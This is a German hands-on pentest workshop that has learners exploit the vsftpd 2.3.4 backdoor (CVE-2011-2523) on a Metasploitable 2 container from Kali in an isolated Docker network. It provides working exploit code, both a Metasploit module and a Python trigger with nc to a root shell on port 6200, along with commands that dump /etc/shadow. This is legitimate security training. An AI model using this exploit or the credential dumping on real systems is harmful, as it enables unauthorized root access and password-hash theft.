Einführung und Kali — Praktischer Workshop

Sie haben die Demonstration gelesen. Jetzt werden Sie sie allein wiederholen. Ziel: eine root-Shell auf dem Opfer erlangen, drei Beweise sichern, die Checkliste ausfüllen. Rechnen Sie beim ersten Mal mit 45 bis 75 Minuten — die Zeit, um die Docker-Images zu ziehen und die Befehle zu verstehen.

Warum Docker und nicht VirtualBox

Die erste Version dieses Workshops verwendete zwei VirtualBox-VMs. Sie funktionierte, verlangte aber 4 GB Download, einen installierten Hypervisor, ein BIOS mit aktivierter Virtualisierung, und eine Windows-VM, deren Lizenz nicht immer einfach zu beschaffen ist. Die Hälfte der Teilnehmer gab vor dem ersten Befehl auf.

Mit Docker Desktop ersetzt ein docker compose up all das. Sie starten das Lab in 30 Sekunden, Sie stoppen es in einer Sekunde. Die pädagogische Lektion ist strikt dieselbe — einen verwundbaren Dienst entdecken, ihn ausnutzen, eine privilegierte Shell erlangen, die Beweise sichern. Wir haben nur die ausgenutzte Lücke geändert: von MS17-010 (Windows, in einem Container nicht reproduzierbar) zur Backdoor von vsftpd 2.3.4 (Linux, in einem Container ausnutzbar).

Der einzige rechtliche Rahmen

Alles in diesem Workshop spielt sich zwischen zwei Containern auf Ihrem Rechner ab, in einem privaten Docker-Netzwerk (10.20.30.0/24). Kein Befehl dieser Lektion darf Ihren PC verlassen. Sind Sie zu Hause hinter einer Box, darf der Verkehr nicht bis zu ihr aufsteigen. Das mitgelieferte Compose kümmert sich darum: Es verwendet ein dediziertes internes bridge-Netzwerk. Ändern Sie diese Parameter nicht. Richten Sie die Scan-Befehle nie auf etwas anderes als 10.20.30.12.

---

Was Sie liefern müssen

Am Ende des Workshops haben Sie in einem Ordner ~/labs/preuves/ innerhalb des Angreifer-Containers (über ein Docker-Volume auf Ihrem Host persistiert):

1. scan-hote.txt — Ausgabe der Netzwerkerkennung.
2. scan-ports.txt — vollständige Ausgabe des Nmap-Scans über alle Ports.
3. scan-versions.txt — Ausgabe des Versionsscans, mit identifiziertem vsftpd 2.3.4.
4. banniere-root.txt — Ausgabe von whoami; hostname; id; uname -a, ausgeführt auf dem Ziel aus Ihrer erlangten Shell heraus.
5. shadow.txt — der Inhalt der Datei /etc/shadow des Ziels, für einen normalen Benutzer unlesbar.
6. mini-rapport.md — drei Absätze in Markdown: Situation, Exploitation, Impact.

Diese sechs Dateien sind Ihr Liefergut. Sie sind auch das, was Sie einem Kunden im Kleinen übergeben würden. Diese Gewohnheit üben wir bereits ab Woche 1.

Definition — der Proof of Pwn, oder was der Kunde wirklich erwartet

Ein Pentest-Bericht liest sich auf drei Ebenen. Die Management-Zusammenfassung richtet sich an die Geschäftsleitung und liefert auf einer Seite ein Urteil — fünf kritische Vorfälle, dreizehn mittlere, hauptsächliche Exposition, Prioritäten. Der technische Teil listet jeden Fund mit seiner schrittweisen Reproduktion auf, für die Teams, die korrigieren werden. Dazwischen liegt die Zeile, die über das Vertrauen in den Bericht entscheidet: die Beweise — die Ausgabedateien, die Sie beilegen.

Ein nützlicher Beweis hat drei Eigenschaften. Er ist datiert — der Screenshot trägt die Uhr des Ziels, oder der Dateiname beginnt mit dem Datum. Er ist kontextbezogen — man sieht neben der ausgenutzten Lücke, was man durch ihr Auslösen erhält, nicht nur eine Fehlermeldung im luftleeren Raum. Und er ist reproduzierbar — der genaue Befehl ist daneben notiert, in einer Reihenfolge, die es dem Systemingenieur des Kunden erlaubt, den Schritt nachzuvollziehen, um seine Korrektur zu prüfen.

Der Ausdruck Proof of Pwn — wörtlich „Beweis des Besitzes“, wobei das Wort pwn aus einem Tippfehler für own entstand — bezeichnet im Jargon die Aufnahme, die zweifelsfrei belegt, dass die Maschine Ihnen gehört. Bei einem ausgenutzten Windows ist der Klassiker das whoami-Fenster, das SYSTEM anzeigt. Bei Linux ist das Äquivalent whoami, das root anzeigt, ergänzt durch den Inhalt von /etc/shadow — eine Datei, die nur root lesen kann. Ohne ihn sagt Ihr Bericht „ich habe es geschafft“; mit ihm beweist Ihr Bericht „ich habe es geschafft“.

---

Hardware-Voraussetzungen

Ressource	Minimum
Docker Desktop	4.30 oder höher, WSL2 unter Windows aktiviert
Verfügbarer RAM	6 GB (2 für den Angreifer, 1 für das Ziel, 3 für den Host)
Freier Speicherplatz	15 GB (Docker-Images eingerechnet)
Virtualisierung VT-x/AMD-V	Im BIOS/UEFI aktiviert
Host-System	Windows 10/11, macOS 12+, Linux

Prüfen Sie Ihre Installation:

docker --version              # sollte Docker version 24 oder neuer anzeigen
docker compose version        # sollte Docker Compose version v2.x anzeigen
docker info | grep -i "operating"

Wenn docker info meckert, ist Docker Desktop nicht gestartet. Öffnen Sie es, warten Sie auf das grüne Symbol, versuchen Sie es erneut.

Definition — Docker Desktop, WSL2, und warum das alles unter Windows funktioniert

Docker ist unter Linux entstanden, wo es Kernel-Funktionen (Namespaces und Cgroups) nutzt, die unter Windows nicht existieren. Um Docker auf einem Windows-Rechner laufen zu lassen, muss man also irgendwo einen Linux-Kernel beherbergen.

Zwei historische Lösungen gab es: Hyper-V (eine von Windows verwaltete Linux-VM) und Docker Toolbox (eine VirtualBox-VM). Seit 2020 hat Microsoft die dritte Lösung für alle zugänglich gemacht: WSL2 (Windows Subsystem for Linux, Version 2), ein leichter, in das System integrierter Linux-Kernel, der in einer Sekunde starten und Dateien und Netzwerk reibungslos mit Windows austauschen kann.

Docker Desktop für Windows verwendet WSL2 als Engine: Wenn Sie docker run eintippen, erstellt Docker Desktop einen Container innerhalb des Linux-Kernels von WSL2, nicht innerhalb von Windows. Deshalb funktioniert ein Kali-Container, der ein Linux ist, ohne Zauberei auf einem Windows-Rechner: Er läuft in einem echten, von Ihrem System beherbergten Linux-Kernel, für Sie unsichtbar.

Praktische Konsequenz: Wenn Sie ein Volume mit -v ./mein-ordner:/data einhängen, übernimmt Docker Desktop die Übersetzung zwischen dem Windows-Dateisystem (NTFS) und Linux (ext4). Die Befehle der Lektion funktionieren genau so, als wären Sie unter nativem Linux.

---

Schritt 1 — Das Lab starten (5 Min.)

1a. In den Lab-Ordner wechseln

Das Repository des Kurses enthält einen Ordner labs/docker/ mit einer docker-compose.yml pro Modul. Öffnen Sie ein Terminal an der Wurzel des Repositorys und dann:

cd labs/docker/module-01-introduction

Ein ls sollte Ihnen drei Dateien zeigen: docker-compose.yml, README.fr.md, README.en.md.

Wenn Sie lieber mit einer eigenständigen Kopie der Labs arbeiten möchten (ohne die gesamte Website zu klonen), kann der Unterordner labs/docker/ unverändert extrahiert werden — die Composes haben keine Abhängigkeit zum Rest des Repositorys.

1b. Die Container starten

Ein einziger Befehl:

docker compose up -d

Was in den folgenden 2 bis 5 Minuten passiert:

1. Docker lädt tleemcjr/metasploitable2 herunter (≈ 1,7 GB beim ersten Mal).
2. Docker baut oder lädt inskillsec/kali-lab herunter (≈ 2,5 GB beim ersten Mal).
3. Docker erstellt ein privates bridge-Netzwerk namens m01-lab-net (Subnetz 10.20.30.0/24).
4. Docker startet die beiden Container und weist ihnen eine feste IP zu: 10.20.30.5 für den Angreifer, 10.20.30.12 für das Ziel.

Am Ende sehen Sie:

[+] Running 3/3
 ✔ Network m01-lab-net  Created
 ✔ Container m01-cible      Started
 ✔ Container m01-attaquant  Started

Definition — die Docker-Netzwerkmodi, und warum bridge hier die richtige Wahl ist

Docker bietet mehrere Netzwerkmodi, deren Konsequenzen man für ein Angriffslabor kennen muss.

host platziert den Container direkt auf der Netzwerkschnittstelle Ihres Hosts: Er teilt die IP Ihres Rechners, seine Ports sind Ihre Ports. Für ein Angriffslabor zu vermeiden — Ihr nmap -p- würde Ihre eigene Maschine und das Netzwerk scannen, mit dem sie verbunden ist.

none lässt den Container völlig ohne Netzwerk. Nützlich für isolierte Dateiverarbeitung, unbrauchbar für ein Lab, in dem zwei Container miteinander sprechen müssen.

bridge — der Standardmodus — erstellt ein privates virtuelles Netzwerk, an das Docker die Container anschließt. Das Compose dieses Moduls geht noch weiter: Es erstellt ein benanntes Bridge-Netzwerk (m01-lab-net) mit einem festen Subnetz (10.20.30.0/24) und festen IPs. Zwei Vorteile: Die Container sehen sich gegenseitig, und die Befehle der Lektion lassen sich kopieren und einfügen, ohne eine Variable anzupassen.

Das ist das Docker-Äquivalent zum Host-only von VirtualBox: ein strikt lokales, vom Rest isoliertes, vorhersehbares Netzwerk. Prüfen Sie immer die Isolierung: docker compose exec attaquant ping -c 1 8.8.8.8 kann funktionieren (weil Ihr Host eine Standardroute hat), aber kein Befehl des Labs darf eine externe IP als Ziel haben. Alle Scan- und Exploitation-Befehle zielen ausschließlich auf 10.20.30.12.

1c. Prüfen, dass alles in Ordnung ist

Aus dem Ordner labs/docker/ (eine Ebene höher):

./verifier-lab.sh module-01-introduction        # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-01-introduction       # PowerShell

Das Skript sollte zwei ✅ für den Angreifer und das Ziel anzeigen. Falls ein ⚠️ erscheint, geben Sie dem Ziel noch 30 Sekunden Zeit, um den Start abzuschließen, und wiederholen Sie dann die Prüfung.

Weitere schnelle manuelle Prüfung:

docker compose ps

Beide Dienste sollten Up anzeigen, und healthy (für das Ziel).

1d. In den Angreifer eintreten

Das ist Ihr Kali-Rechner für die gesamte Dauer des Workshops:

docker compose exec attaquant bash

Der Prompt ändert sich:

┌──(pentester㉿kali)-[~/labs]
└─$

Sie sind drin. Alle folgenden Befehle werden in diesem Prompt eingegeben, nicht in PowerShell oder bash Ihres Hosts.

---

Schritt 2 — Den Beweisordner erstellen

Von innerhalb des Angreifer-Containers aus:

mkdir -p ~/labs/preuves
cd ~/labs

Der Ordner ~/labs/ im Container ist über das im Compose deklarierte Volume auf ./attaquant-home/ Ihres Hosts eingehängt. Hier erstellte Dateien erscheinen in Echtzeit im Ordner attaquant-home/ Ihres Host-Systems — Sie können sie mit dem Code-Editor Ihrer Wahl öffnen.

Alle folgenden Befehle müssen eine Datei in preuves/ erzeugen. Ein Pentester ohne Ausgabedatei ist ein Angler ohne Foto.

---

Schritt 3 — Entdeckung (5 Min.)

Finden Sie das Opfer, ohne das Compose zu lesen. Ein echter Angreifer kennt die IP seines Ziels nicht: Er entdeckt sie.

nmap -sn 10.20.30.0/24 -oN preuves/scan-hote.txt

-sn bittet Nmap, nur einen Ping-Scan durchzuführen: Es testet keinen einzigen Port, es sucht nur, wer antwortet. In einem Docker-bridge-Netzwerk funktioniert ARP einwandfrei — jeder aktive Container antwortet auf seine MAC-Adresse.

Sie sollten zwei Antworten sehen: 10.20.30.5 (Sie selbst) und 10.20.30.12 (das Ziel). Notieren Sie die IP:

export VICTIME=10.20.30.12
echo "Ziel identifiziert: $VICTIME"

Definition — warum wir docker-compose.yml nicht vertrauen, um die IP zu finden

In diesem Lab steht die IP ausgeschrieben im Compose: Sie könnten sie lesen, statt sie zu entdecken. Aber das ist in einer echten Mission nie der Fall. Der Kunde gibt Ihnen bestenfalls ein CIDR („unser internes Segment liegt in 10.42.0.0/16“), schlimmstenfalls gar nichts („finden Sie heraus, was da herumliegt“).

Sich schon im ersten Workshop daran zu gewöhnen, nmap -sn — oder seinen lauteren Cousin arp-scan -l — zu verwenden, prägt einen Reflex, der Sie überallhin begleitet: Die Aufklärung beginnt mit der Netzwerkentdeckung, nicht mit dem Lesen der bereitgestellten Dokumente. Das ist auch der Grund, warum die Scans in Modul 04 dasselbe Werkzeug auf größeren Subnetzen wiederverwenden. Wir bauen eine Kette von Gewohnheiten auf, keine Sammlung von Tricks.

---

Schritt 4 — Scan (10 Min.)

Ports:

nmap -sS -Pn -p- --min-rate 2000 $VICTIME -oN preuves/scan-ports.txt

-p- fordert alle 65.535 Ports an. Auf Metasploitable 2 in Docker dauert dieser Scan 15 bis 30 Sekunden. Sie sollten eine lange Liste sehen — ftp, ssh, telnet, smtp, http, netbios, microsoft-ds, mysql, postgresql, tomcat…

Versionen (passen Sie die Portliste an das an, was der erste Scan gefunden hat):

nmap -sV -p 21,22,23,25,80,139,445,3306,5432,8180 $VICTIME -oN preuves/scan-versions.txt

Betrachten Sie die Zeile zu Port 21:

21/tcp   open  ftp     vsftpd 2.3.4

Diese Zeile macht das ganze Modul aus. vsftpd 2.3.4 ist ein FTP-Server, der historisch im Juli 2011 kompromittiert wurde. Nmap sagt es Ihnen, es bleibt nur noch, daraus Nutzen zu ziehen.

grep -E "vsftpd|smb|mysql" preuves/scan-versions.txt

Wenn Sie vsftpd 2.3.4 nicht in der Ausgabe sehen: Entweder ist das Ziel noch nicht fertig gestartet (30 Sekunden warten und erneut starten), oder es läuft ein anderer Container (prüfen Sie erneut docker compose ps).

Definition — vsftpd 2.3.4, die Geschichte einer Backdoor in einem Open-Source-Projekt

vsftpd (Very Secure FTP Daemon) ist ein von Chris Evans, Sicherheitsingenieur bei Google, geschriebener FTP-Server, der lange als die Referenz für FTP unter Linux galt. Er wird von Red Hat, Debian, Ubuntu und mehreren Hostern verwendet. Sein Ruf beruht auf seinem minimalistischen Code und seiner ständigen Prüfung.

Im Juli 2011 erlangt ein Angreifer vorübergehenden Zugriff auf die offizielle Website vsftpd.beasts.org und ersetzt das herunterladbare Archiv der Version 2.3.4 durch eine veränderte Version. Der Quellcode fügt eine Backdoor hinzu: Sendet ein Benutzer einen Login-Namen, der auf die beiden Zeichen :) (ein Smiley) endet, öffnet der Server eine Root-Shell auf Port 6200/TCP. Kein Passwort. Keine Spur in den Logs.

Chris Evans entdeckt die Manipulation vier Tage später, entfernt das Archiv, veröffentlicht einen Hinweis. Aber zwischen dem bösartigen Upload und der Entdeckung haben Zehntausende Installationen weltweit die verseuchte Version gezogen. Manche liefen noch Jahre später damit.

Der Vorfall wurde aus drei Gründen zu einem Lehrbeispiel. Erstens zeigt er, dass ein in seinem Entwicklungsprozess einwandfreies Projekt nachgelagert, auf der Vertriebskette, kompromittiert werden kann. Zweitens, weil die Backdoor trivial auszulösen war — kein ausgefeilter Exploit nötig, nur ein Smiley in einem Login. Und schließlich, weil er eine ernsthafte Reflexion über die Notwendigkeit angestoßen hat, veröffentlichte Archive zu signieren und diese Signaturen vor der Installation zu prüfen.

Diese Backdoor werden Sie in zwei Minuten auslösen. Das ist keine Geschichte, das ist CVE-2011-2523.

---

Schritt 5 — Exploitation (15 Min.)

Zwei Methoden. Machen Sie beide: Die zweite ist kurz, und die Backdoor bei der Arbeit von Hand zu sehen, lohnt den Umweg.

5a. Methode Metasploit (die saubere)

Initialisieren Sie die Metasploit-Datenbank einmalig:

setup-lab msf-init

Starten Sie dann die Konsole:

msfconsole -q

In der Konsole:

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.20.30.12
run

Warten Sie auf die Zeile Command shell session 1 opened. Sobald Sie drin sind, sind Sie root auf dem Ziel. Führen Sie aus:

shell
whoami
hostname
id
uname -a
exit
sessions -k 1
exit

5b. Manuelle Methode (die schöne)

Immer noch im Angreifer-Container:

# 1. Mit dem FTP verbinden und die Backdoor auslösen
python3 << 'EOF'
import socket
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"USER hacker:)\r\n")
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"PASS anything\r\n")
print("(der Server wird nicht antworten — das ist normal, er öffnet Port 6200)")
ftp.close()
EOF

# 2. Mit der root-Shell auf Port 6200 verbinden
nc 10.20.30.12 6200

Sie befinden sich in einer Shell, die keinen Prompt anzeigt. Tippen Sie whoami und Enter: Das Ziel antwortet root. Tippen Sie hostname: metasploitable. Sie sind root auf dem Ziel, ohne auch nur ein einziges Passwort angegeben zu haben, in drei Zeilen Python.

Sobald Sie in der Shell sind, sichern Sie Ihre Beweise — ohne die Shell zu verlassen.

5c. Beweise sichern

In der root-Shell auf dem Ziel:

whoami > /tmp/preuve.txt
hostname >> /tmp/preuve.txt
id >> /tmp/preuve.txt
uname -a >> /tmp/preuve.txt
date >> /tmp/preuve.txt
cat /tmp/preuve.txt

Holen Sie dann /etc/shadow ab:

cat /etc/shadow > /tmp/shadow.txt

Verlassen Sie die root-Shell auf dem Ziel:

exit

Zurück in der Kali-Shell, saugen Sie die Dateien vom Ziel über anonymes FTP ab (Port 21 akzeptiert anonyme Verbindungen), oder direkter über ein einfaches nc:

# Einfache Version: wir lösen den Trigger erneut aus und ziehen die Dateien mit derselben Shell-Sitzung
python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER lecture:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF

(echo "cat /tmp/preuve.txt"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/banniere-root.txt

python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER dump:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF

(echo "cat /etc/shadow"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/shadow.txt

Prüfen Sie:

cat preuves/banniere-root.txt      # muss "root", "metasploitable", "uid=0" enthalten
cat preuves/shadow.txt             # muss "root:$1$..." und "msfadmin:$1$..." enthalten

Definition — warum /etc/shadow der beste Beweis für ein echtes root ist

Auf einem Unix-System werden Passwörter nicht im Klartext gespeichert. Sie werden gehasht und in zwei Dateien abgelegt: /etc/passwd, das die Benutzerkonten und ihr Home-Verzeichnis auflistet, für jeden lesbar, und /etc/shadow, das die Passwort-Hashes enthält, nur für root lesbar.

Diese Trennung stammt aus den 1980er-Jahren. Zuvor stand der Hash in /etc/passwd, sodass jeder Benutzer des Systems ihn abrufen und offline Brute Force versuchen konnte. Der Umzug nach /etc/shadow machte das Lesen der Datei zu einem Privilegien-Beweis — wenn Sie sie lesen können, sind Sie root, oder Sie haben eine Rechteausweitung gefunden.

In einem Pentest-Bericht bewirkt das Beilegen der ersten Zeilen von /etc/shadow zweierlei. Erstens belegt es zweifelsfrei die erreichte Privilegienstufe. Zweitens gibt es dem Kunden das Material für ein Audit: Er kann die Robustheit der Passwörter seiner Konten prüfen, jene erkennen, die veraltete Algorithmen verwenden ($1$ für MD5, $5$ für SHA-256, $6$ für SHA-512, $y$ für yescrypt), und eine Rotation erzwingen.

Achtung: In einem echten Bericht teilen Sie diese Datei niemals im Klartext per E-Mail. Sie verschlüsseln sie, senden sie über einen etablierten Kanal, vernichten Ihre Kopie am Ende der Mission. Diese Art von Datei ist eine Bombe: in Ihren Händen beweist sie Ihre Arbeit, in den Händen eines Dritten kompromittiert sie ein ganzes Unternehmen.

---

Schritt 6 — Der Mini-Bericht (20 Min.)

Öffnen Sie auf Ihrem Host (nicht im Container — das ist bequemer) labs/docker/module-01-introduction/attaquant-home/preuves/mini-rapport.md mit Ihrem bevorzugten Editor und füllen Sie diese Abschnitte aus. Überschreiten Sie nicht eine Seite.

# Mini-Bericht — Woche 1

## Situation
Zwei Docker-Container in einem isolierten Bridge-Netzwerk (10.20.30.0/24).
- Angreifer: Kali Linux (inskillsec/kali-lab) — 10.20.30.5
- Ziel: Metasploitable 2 (tleemcjr/metasploitable2) — 10.20.30.12

## Exploitation
Der FTP-Dienst (Port 21) läuft mit vsftpd 2.3.4, einer Version, die seit
Juli 2011 bekanntermaßen eine Backdoor enthält (CVE-2011-2523). Ein
Benutzername, der auf die beiden Zeichen `:)` endet, löst ohne
Authentifizierung das Öffnen einer root-Shell auf Port 6200/TCP aus.

Das Metasploit-Modul `exploit/unix/ftp/vsftpd_234_backdoor` automatisiert
das Auslösen und die Verbindung. Dieselbe Exploitation lässt sich mit drei
Zeilen Python und einem `nc` reproduzieren.

Beigefügte Beweise:
- `scan-versions.txt` — Nmap identifiziert vsftpd 2.3.4 ausdrücklich.
- `banniere-root.txt` — Ausgabe von `whoami; hostname; id; uname -a`,
  ausgeführt auf dem Ziel, belegt das root-Konto.
- `shadow.txt` — Inhalt der Datei /etc/shadow des Ziels, nur für root
  lesbar.

## Impact
Vollständige Kompromittierung des Systems (uid=0). Extraktion der lokalen
Passwort-Hashes, offline ausnutzbar. In einer Produktionsumgebung würde
diese Kompromittierung das Lesen jeglicher gehosteter Daten, die
stillschweigende Änderung der Dienste und die Installation einer
Persistenz erlauben.

## Empfehlungen
1. vsftpd 2.3.4 überall entfernen. Keine 2.3.x-Version wird noch
   unterstützt; wechseln Sie zu 3.0.5 (letzter stabiler Zweig) oder einem
   anderen modernen FTP-Server.
2. Die SHA-256-Hashes heruntergeladener Archive vor der Installation
   prüfen. Das verseuchte Archiv von 2011 hatte einen anderen Hash als
   das legitime Archiv, die Prüfung hätte sofort Alarm geschlagen.
3. Die Installation von Software aus nicht signierten Repositories
   verbieten. Jede moderne Linux-Distribution bietet eine GPG-Signatur
   für Pakete.
4. Den FTP-Verkehr hinter ein VPN legen oder durch SFTP ersetzen. Das
   Klartext-FTP-Protokoll ist ohnehin für eine moderne Umgebung
   ungeeignet.

Dieses Format — Situation, Exploitation, Impact, Empfehlungen — ist jenes, das wir in Modul 12 verfeinern werden. Gewöhnen Sie sich jetzt schon daran.

---

Schritt 7 — Aufräumen

Immer noch in der Host-Shell, aus labs/docker/module-01-introduction/:

docker compose down -v

• down stoppt und entfernt die beiden Container.
• -v entfernt auch die anonymen Volumes. Ihre Beweise in attaquant-home/ bleiben auf Ihrer Festplatte: Dieser Ordner ist eine explizite Einhängung, kein anonymes Volume.

Prüfen Sie:

docker ps                    # sollte leer sein (oder kein m01-* enthalten)
docker network ls | grep m01 # sollte leer sein

Das Lab ist abgebaut. Ein nächstes Mal stellt docker compose up -d es in 30 Sekunden wieder her, da alle Images bereits im Cache liegen.

---

Checkliste am Ende des Workshops

• Docker Desktop gestartet, docker info antwortet.
• docker compose up -d hat die beiden Container gestartet, docker compose ps zeigt Up und healthy an.
• verifier-lab.sh (oder .ps1) zeigt zwei ✅ an.
• Der Ordner ~/labs/preuves/ im Container enthält die sechs zu Beginn der Seite gelisteten Dateien.
• Port 6200 auf dem Ziel hat nach dem Auslösen der Backdoor auf ein nc geantwortet.
• banniere-root.txt enthält root und uid=0.
• shadow.txt enthält mehrere Zeilen, die mit einem Konto und einem Hash $... beginnen.
• mini-rapport.md geschrieben, eine Seite, vier Abschnitte.
• docker compose down -v hat die Container aufgeräumt.

Alles abgehakt? Sie haben soeben allein eine vollständige Angriffskette ausgeführt: Entdeckung → Scan → Versionsidentifikation → Exploitation → Proof of Pwn → Bericht. Das ist das Grundgerüst aller Missionen des Rests Ihrer Karriere.

---

Was blockiert, und wie man es löst

Symptom	Wahrscheinliche Ursache	Was Sie tun
docker compose up: Cannot connect to Docker daemon	Docker Desktop nicht gestartet	Docker Desktop starten, auf das grüne Symbol warten.
Download von metasploitable2 sehr lang	1,7-GB-Image, langsame Verbindung	Geduld haben. Einmal im Cache, sind die nächsten Starts sofort.
nmap: das Ziel antwortet nicht	Das Ziel hat sein services.sh noch nicht beendet	30 s länger warten, docker compose logs cible sollte services running anzeigen.
Port 21 offen, aber kein vsftpd 2.3.4	Ein anderer Container läuft an seiner Stelle	docker compose down -v, dann sauber docker compose up -d.
Trigger :) ohne Wirkung	Sie sind mit einem anderen FTP verbunden	Prüfen Sie nc -zv 10.20.30.12 21, prüfen Sie den genauen Benutzernamen (hacker:)).
nc 10.20.30.12 6200 verweigert die Verbindung	Die Backdoor hat den Port nicht geöffnet	Den Trigger mit einem anderen Login wiederholen — ein bereits verwendeter Login löst möglicherweise nicht erneut aus.
Die root-Shell antwortet nicht	Die Shell ist da, hat aber keinen Prompt	whoami gefolgt von Enter eingeben. Die Antwort root bestätigt die Sitzung.
/etc/shadow trotz root nicht lesbar	Container-übergreifender Cache	docker compose restart cible, den Trigger erneut versuchen.
Ctrl+C blockiert msfconsole	Aufräumen läuft	10 Sekunden warten.

---

Was Sie aus diesem Workshop mitnehmen

• Einen Labor-Reflex: zwei Container, ein geschlossenes Netzwerk, ein in einem Volume versionierter Beweisordner.
• Eine Werkzeugkette, die wir 12-mal wiederholen werden: nmap -sn → nmap -sS → nmap -sV → msfconsole (oder nc + python).
• Das Format des Mini-Berichts: Situation / Exploitation / Impact / Empfehlungen.
• Das physische Gefühl dafür, was es heißt, eine Maschine zu kompromittieren — ohne 4 GB VM herunterzuladen, ohne Windows-Lizenz, ohne BIOS-Umkonfiguration. Das ist es, was Sie weitermachen lässt.

Bereit? Weiter geht es mit dem Quiz zum Modul.